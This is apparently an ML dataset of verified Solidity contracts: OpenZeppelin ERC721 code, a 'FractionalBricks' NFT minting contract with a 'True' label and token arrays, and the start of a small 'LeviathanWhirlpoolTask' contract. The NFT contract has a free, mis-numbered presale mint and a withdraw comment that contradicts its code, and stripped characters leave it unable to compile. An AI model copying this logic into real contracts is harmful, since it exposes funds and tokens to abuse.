{IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. / function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /* * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. / interface IERC165 { /* * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. / function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /* * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId \|\| super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. / abstract contract ERC165 is IERC165 { /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /* * @dev Required interface of an ERC721 compliant contract. / interface IERC721 is IERC165 { /* * @dev Emitted when `tokenId` token is transferred from `from` to `to`. / event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. / event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. / event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /* * @dev Returns the number of tokens in ``owner``'s account. / function balanceOf(address owner) external view returns (uint256 balance); /* * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function ownerOf(uint256 tokenId) external view returns (address owner); /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. / function transferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. / function approve(address to, uint256 tokenId) external; /* * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function getApproved(uint256 tokenId) external view returns (address operator); /* * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. / function setApprovalForAll(address operator, bool _approved) external; /* * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} / function isApprovedForAll(address owner, address operator) external view returns (bool); /* * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /* * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Enumerable is IERC721 { /* * @dev Returns the total amount of tokens stored by the contract. / function totalSupply() external view returns (uint256); /* * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. / function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /* * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. / function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /* * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Metadata is IERC721 { /* * @dev Returns the token collection name. / function name() external view returns (string memory); /* * @dev Returns the token collection symbol. / function symbol() external view returns (string memory); /* * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. / function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /* * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. / contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /* * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. / constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId \|\| interfaceId == type(IERC721Metadata).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @dev See {IERC721-balanceOf}. / function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /* * @dev See {IERC721-ownerOf}. / function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /* * @dev See {IERC721Metadata-name}. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev See {IERC721Metadata-symbol}. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev See {IERC721Metadata-tokenURI}. / function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /* * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. / function _baseURI() internal view virtual returns (string memory) { return ""; } /* * @dev See {IERC721-approve}. / function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner \|\| isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /* * @dev See {IERC721-getApproved}. / function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /* * @dev See {IERC721-setApprovalForAll}. / function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /* * @dev See {IERC721-isApprovedForAll}. / function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /* * @dev See {IERC721-transferFrom}. / function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /* * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). / function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /* * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. / function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner \|\| getApproved(tokenId) == spender \|\| isApprovedForAll(owner, spender)); } /* * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /* * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. / function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /* * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. / function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /* * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. / function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /* * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. / function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /* * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. / function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /* * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value / function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /* * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol pragma solidity ^0.8.0; /* * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. / abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. / function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /* * @dev See {IERC721Enumerable-totalSupply}. / function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /* * @dev See {IERC721Enumerable-tokenByIndex}. / function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /* * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /* * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address / function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /* * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list / function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /* * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address / function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /* * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list / function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: FractionalBricks/contracts/FractionalBrick.sol pragma solidity ^0.8.4; contract FractionalBricks is ERC721Enumerable, Ownable { using Strings for uint256; string public baseURI; uint256 public supply; string public baseExtension = ".json"; string public notRevealedUri; uint256 public cost = 0.07 ether; uint256 public maxSupply = 10000; uint256 public maxMintAmount = 1000; uint256 public nftPerAddressLimit = 1000; bool public paused = false; bool public revealed = false; bool public onlyWhitelisted = true; address[] public whitelistedAddresses; mapping(address => uint256) public addressMintedBalance; constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); setNotRevealedURI(_initNotRevealedUri); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // public function mint(uint256 _mintAmount) public payable { require(!paused, "the contract is paused"); supply = totalSupply(); require(_mintAmount > 0, "need to mint at least 1 NFT"); require(_mintAmount <= maxMintAmount, "max mint amount per session exceeded"); require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded"); if (msg.sender != owner()) { // require(isWhitelisted(msg.sender), "user is not whitelisted"); uint256 ownerMintedCount = addressMintedBalance[msg.sender]; require(ownerMintedCount + _mintAmount <= nftPerAddressLimit, "max NFT per address exceeded"); require(msg.value >= cost _mintAmount, "insufficient funds"); } for (uint256 i = 1; i <= _mintAmount; i++) { addressMintedBalance[msg.sender]++; _safeMint(msg.sender, supply + i); } } function presaleMint(uint _mintAmount) public payable { require(!paused, "the contract is paused"); supply = totalSupply(); require(_mintAmount > 0, "need to mint at least 1 NFT"); require(_mintAmount <= maxMintAmount, "max mint amount per session exceeded"); require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded"); require(onlyWhitelisted == true); require(isWhitelisted(msg.sender), "user is not whitelisted"); uint256 ownerMintedCount = addressMintedBalance[msg.sender]; require(ownerMintedCount + _mintAmount <= nftPerAddressLimit, "max NFT per address exceeded"); require(_mintAmount == 1, "mintAmount for whitelist must be 1"); _safeMint(msg.sender, _mintAmount); } function isWhitelisted(address _user) public view returns (bool) { for (uint i = 0; i < whitelistedAddresses.length; i++) { if (whitelistedAddresses[i] == _user) { return true; } } return false; } function walletOfOwner(address _owner) public view returns (uint256[] memory){ uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if(revealed == false) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } //only owner function reveal() public onlyOwner { revealed = true; } function setNftPerAddressLimit(uint256 _limit) public onlyOwner { nftPerAddressLimit = _limit; } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner { maxMintAmount = _newmaxMintAmount; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function pause(bool _state) public onlyOwner { paused = _state; } function setOnlyWhitelisted(bool _state) public onlyOwner { onlyWhitelisted = _state; } function whitelistUsers(address[] calldata _users) public onlyOwner { delete whitelistedAddresses; whitelistedAddresses = _users; } /** * Override for ERC721 & ERC721Enumerable / function supportsInterface(bytes4 interfaceId) public view override ( ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } /* * Override for ERC721 and ERC271Enumerable */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal override( ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); } function withdraw() public payable onlyOwner { // This will payout the owner 95% of the contract balance. // Do not remove this otherwise you will not be able to withdraw the funds. // ============================================================================= (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); // ============================================================================= } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 2184, 1011, 2654, 1008, 1013, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 7817, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 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2575, 3643, 1007, 4722, 5760, 5651, 1006, 5164, 3638, 1007, 1063, 2065, 1006, 3643, 1027, 1027, 1014, 1007, 1063, 2709, 1000, 1014, 2595, 8889, 1000, 1025, 1065, 21318, 3372, 17788, 2575, 8915, 8737, 1027, 3643, 1025, 21318, 3372, 17788, 2575, 3091, 1027, 1014, 1025, 2096, 1006, 8915, 8737, 999, 1027, 1014, 1007, 1063, 3091, 1009, 1009, 1025, 8915, 8737, 1028, 1028, 1027, 1022, 1025, 1065, 2709, 2000, 5369, 2595, 3367, 4892, 1006, 3643, 1010, 3091, 1007, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 19884, 1037, 1036, 21318, 3372, 17788, 2575, 1036, 2000, 2049, 2004, 6895, 2072, 1036, 5164, 1036, 2002, 18684, 3207, 6895, 9067, 6630, 2007, 4964, 3091, 1012, 1008, 1013, 3853, 2000, 5369, 2595, 3367, 4892, 1006, 21318, 3372, 17788, 2575, 3643, 1010, 21318, 3372, 17788, 2575, 3091, 1007, 4722, 5760, 5651, 1006, 5164, 3638, 1007, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2020-12-30 / pragma solidity <=0.6.2; interface IRelease { function release() external; } interface IWhirlpool { function getAllInfoFor(address _user) external view returns (bool isActive, uint256[12] memory info); } contract LeviathanWhirlpoolTask { address private constant _leviathanWhirlpool = 0x4f2CCc35F791e763779f711168424b766Ba3468F; address private constant _whirlpool = 0x999b1e6EDCb412b59ECF0C5e14c20948Ce81F40b; function check(uint _requirement) external view returns (uint256) { (, uint256[12] memory userData) = IWhirlpool(_whirlpool).getAllInfoFor(_leviathanWhirlpool); if(userData[10] >= _requirement) return 0; else return _requirement - userData[10]; } function execute() external { IRelease(_leviathanWhirlpool).release(); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 12609, 1011, 2260, 1011, 2382, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1026, 1027, 1014, 1012, 1020, 1012, 1016, 1025, 8278, 20868, 12260, 11022, 1063, 3853, 2713, 1006, 1007, 6327, 1025, 1065, 8278, 1045, 2860, 11961, 14277, 13669, 1063, 3853, 2131, 8095, 2378, 14876, 29278, 1006, 4769, 1035, 5310, 1007, 6327, 3193, 5651, 1006, 22017, 2140, 18061, 15277, 1010, 21318, 3372, 17788, 2575, 1031, 2260, 1033, 3638, 18558, 1007, 1025, 1065, 3206, 11902, 29246, 2860, 11961, 14277, 13669, 10230, 2243, 1063, 4769, 2797, 5377, 1035, 11902, 29246, 2860, 11961, 14277, 13669, 1027, 1014, 2595, 2549, 2546, 2475, 9468, 2278, 19481, 2546, 2581, 2683, 2487, 2063, 2581, 2575, 24434, 2581, 2683, 2546, 2581, 14526, 16048, 2620, 20958, 2549, 2497, 2581, 28756, 3676, 22022, 2575, 2620, 2546, 1025, 4769, 2797, 5377, 1035, 1059, 11961, 14277, 13669, 1027, 1014, 2595, 2683, 2683, 2683, 2497, 2487, 2063, 2575, 2098, 27421, 23632, 2475, 2497, 28154, 8586, 2546, 2692, 2278, 2629, 2063, 16932, 2278, 11387, 2683, 18139, 3401, 2620, 2487, 2546, 12740, 2497, 1025, 3853, 4638, 1006, 21318, 3372, 1035, 9095, 1007, 6327, 3193, 5651, 